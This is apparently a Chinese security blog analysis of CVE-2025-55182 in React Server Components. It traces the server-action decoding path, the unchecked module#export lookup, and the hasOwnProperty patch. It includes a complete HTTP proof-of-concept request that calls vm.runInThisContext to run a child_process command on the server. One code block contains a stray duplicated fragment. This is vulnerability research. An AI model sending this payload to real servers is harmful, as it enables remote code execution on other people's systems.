CVE-2025-55182

组件介绍

React Server Components 是 React 团队在 React 18 实验阶段提出、在 React 19 正式稳定 的革命性特性。它真正实现了「服务器上直接执行代码、客户端只收纯 HTML」的理想状态,性能提升极其恐怖(首屏往往快 50%~80%),但也正因为它把「客户端触发的服务器函数执行权」彻底开放,才导致了史诗级漏洞 CVE-2025-55182(CVSS 10.0)

1
2
3
4
5
6
7
8
9
10
async function addToCart(itemId: string) {
'use server'; // 标记为服务器执行
await db.cart.add(currentUserId, itemId);
}

// 客户端组件里直接用
<form action={addToCart}>
<input name="itemId" />
<button>加入购物车</button>
</form>

提交表单时,React 会把这个函数调用序列化,通过 React Flight 协议 传给服务器,服务器反序列化后直接执行。

环境搭建

个人环境版本
npm v10.2.4
node v20.11.1

环境搭建

git clone https://github.com/ejpir/CVE-2025-55182-research.git

npm install

npm start

漏洞分析

打开server.js, 进行代码分析

image-20251208164938877

根据项目作者的注释提示, 该漏洞利用链是

1
THE VULNERABLE CALL - decodeAction → loadServerReference → requireModule

漏洞成因是没有对引入的模块进行hasOwnProperty检查

我们跟进decodeAction

image-20251208165434090

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const path = require('path');
const fs = require('fs');

// Read and eval the bundled code directly
const bundledPath = path.join(__dirname, '../node_modules/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js');//拼接目标模块路径, 用于模块加载
console.log('Loading:', bundledPath);

// Create a module context
const moduleCode = fs.readFileSync(bundledPath, 'utf8');//读取文件内容
const moduleExports = {};
const moduleWrapper = new Function('exports', 'require', '__dirname', '__filename', moduleCode);
moduleWrapper(moduleExports, require, path.dirname(bundledPath), bundledPath);

const { decodeAction } = moduleExports;

该代码段主要手动模拟了Node.js的模块加载机制, 加载react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js模块

加载模块后, 调用decodeAction函数

image-20251208170935806

即调用了react-server里的exports.decodeAction函数传入的参数, 分析一下

image-20251208170357999
把三元运算符改为if-else更好理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
exports.decodeAction = function (body, serverManifest) {
var formData = new FormData(),
action = null;
body.forEach(function (value, key) {
// 第一步:判断是否是 Action 指令(核心标识:$ACTION_ 开头)
if (key.startsWith("$ACTION_")) {
// 第二步:判断是否是「绑定型 Action」($ACTION_REF_ 开头)
if (key.startsWith("$ACTION_REF_")) {
// 子逻辑1:解析绑定型 Action
value = "$ACTION_" + key.slice(12) + ":"; // 重构 Action 标识
value = decodeBoundActionMetaData(body, serverManifest, value); // 解码元数据
action = loadServerReference(serverManifest, value.id, value.bound); // 加载服务端 Action
}
// 第三步:判断是否是「纯 ID 型 Action」($ACTION_ID_ 开头)
else if (key.startsWith("$ACTION_ID_")) {
// 子逻辑2:解析纯 ID 型 Action
value = key.slice(11); // 提取 Action ID
action = loadServerReference(serverManifest, value, null); // 加载服务端 Action
}
// 注:若 key 以 $ACTION_ 开头,但不是 REF/ID 类型 → 无处理(action 仍为 null)
}
// 第四步:非 Action 指令 → 存入普通表单参数
else {
formData.append(key, value);
}
});
return null === action
? null
: action.then(function (fn) {
return fn.bind(null, formData);
});
};

由于最终要判断action是否为空我们要跟进action的赋值操作, 需要跟进loadServerReference函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function loadServerReference(bundlerConfig, id, bound) {
var serverReference = resolveServerReference(bundlerConfig, id);
bundlerConfig = preloadModule(serverReference);
return bound
? Promise.all([bound, bundlerConfig]).then(function (_ref) {
_ref = _ref[0];
var fn = requireModule(serverReference);
return fn.bind.apply(fn, [null].concat(_ref));
})
: bundlerConfig
? Promise.resolve(bundlerConfig).then(function () {
return requireModule(serverReference);
})
: Promise.resolve(requireModule(serverReference));
}

return bound处判断是否有 bound 参数,如果有则获取函数并绑定参数返回可执行函数。

bundlerConfig也是很重要的一个点,可以将其理解为服务器清单,攻击者利用bundlerConfig中存在的函数才能进行RCE

child_processvm 等,如果攻击者利用的函数不在这个服务器清单中则无法利用

image-20251208185821556

跟进resolveServerReference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
      var name = "",
resolvedModuleData = bundlerConfig[id];
if (resolvedModuleData) name = resolvedModuleData.name;function resolveServerReference(bundlerConfig, id) {
var name = "",
resolvedModuleData = bundlerConfig[id];
if (resolvedModuleData) name = resolvedModuleData.name;
else {
var idx = id.lastIndexOf("#");
-1 !== idx &&
((name = id.slice(idx + 1)),
(resolvedModuleData = bundlerConfig[id.slice(0, idx)]));
if (!resolvedModuleData)
throw Error(
'Could not find the module "' +
id +
'" in the React Server Manifest. This is probably a bug in the React Server Components bundler.'
);
}
return resolvedModuleData.async
? [resolvedModuleData.id, resolvedModuleData.chunks, name, 1]
: [resolvedModuleData.id, resolvedModuleData.chunks, name];
}//这个函数会返回

最大的问题在这个函数里面

1
2
3
var name = "",
resolvedModuleData = bundlerConfig[id];
if (resolvedModuleData) name = resolvedModuleData.name;

代码尝试直接去进行匹配刚才说的服务器清单中的函数,如果不存在则认定为是类似于abc#123456 的格式,#前面作为模块ID,后面作为属性名,代码尝试使用模块ID进行匹配,如果匹配到则正常返回函数坐标,匹配不到则抛出错误。

可以看到代码对传进来的ID没有任何校验,也就导致了这个漏洞的产生

接下来看一下vm这个模块

vm 是Node.js的核心模块,用于在V8虚拟机上下文中运行代码。在这个模块中存在一个危险方法叫做runInThisContext :它能在当前的全局作用域下编译并执行一段JS代码。与 eval 在局部作用域运行不同,它在更高的作用域运行。它执行的代码能够访问Node.js的全局对象(global)和所有内置模块,就像普通的Node.js代码一样

由此最基础的POC就可以很轻松的写出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /formaction HTTP/1.1
Host: 127.0.0.1:3002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: 7a3f9c1e
X-Nextjs-Html-Request-Id: 9bK2mPqRtVwXyZ3$@!sT7u
Content-Type: multipart/form-data; boundary=----Boundary
Connection: close
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Length: 571

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary-

传入vm#runInThisContext,由上述逻辑拆成vm和runInThisContext,bound参数传入loadServerReference() 执行。

image-20251208194151888

执行命令后

image-20251208200824904

可见vm模块成功调用, runInThisContextbound对应的内容当做代码执行, 实现了RCE

由此最基础的POC分析就结束了

修复建议

官方修复补丁

image-20251208204356492

补丁解析

补丁添加了hasOwnProperty 鉴权

React 官方添加该鉴权后,核心解决以下问题:

阻断原型链污染攻击

未修复前的风险

1
2
3
4
5
6
7
// 攻击者污染全局原型
Object.prototype.isValid = true;
// React 内部遍历对象时,误将原型链上的 isValid 当作自身属性
const config = {}; // 空对象,无自身 isValid 属性
if (config.isValid) { // 原型链继承的 isValid 被触发,返回 true
ReactDOM.render(<DangerousComponent />, root); // 执行危险逻辑
}

修复后(添加 hasOwnProperty 鉴权)

1
2
3
4
5
const config = {};
// 仅当 config 自身拥有 isValid 属性时才执行,原型链属性被排除
if (config.hasOwnProperty('isValid') && config.isValid) {
ReactDOM.render(<SafeComponent />, root);
}

→ 核心:只认「自身属性」,无视原型链上的伪造属性,彻底阻断攻击者通过原型链注入恶意属性的路径

1
2
3
4
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);

此代码校验 moduleExports 自身是否存在 metadata[NAME] 这个属性(排除原型链继承的属性)

加固 React 对不可信输入的处理

CVE-2025-55182 的攻击场景通常涉及「不可信输入」(如用户提交的表单数据、第三方组件传入的 props、服务端返回的 JSON 数据),这些数据可能被攻击者篡改原型链。

React 作为前端框架,需保障「无论输入如何,内部逻辑不被原型链污染影响」。hasOwnProperty 是 JavaScript 中防御原型链污染的基础且高效的手段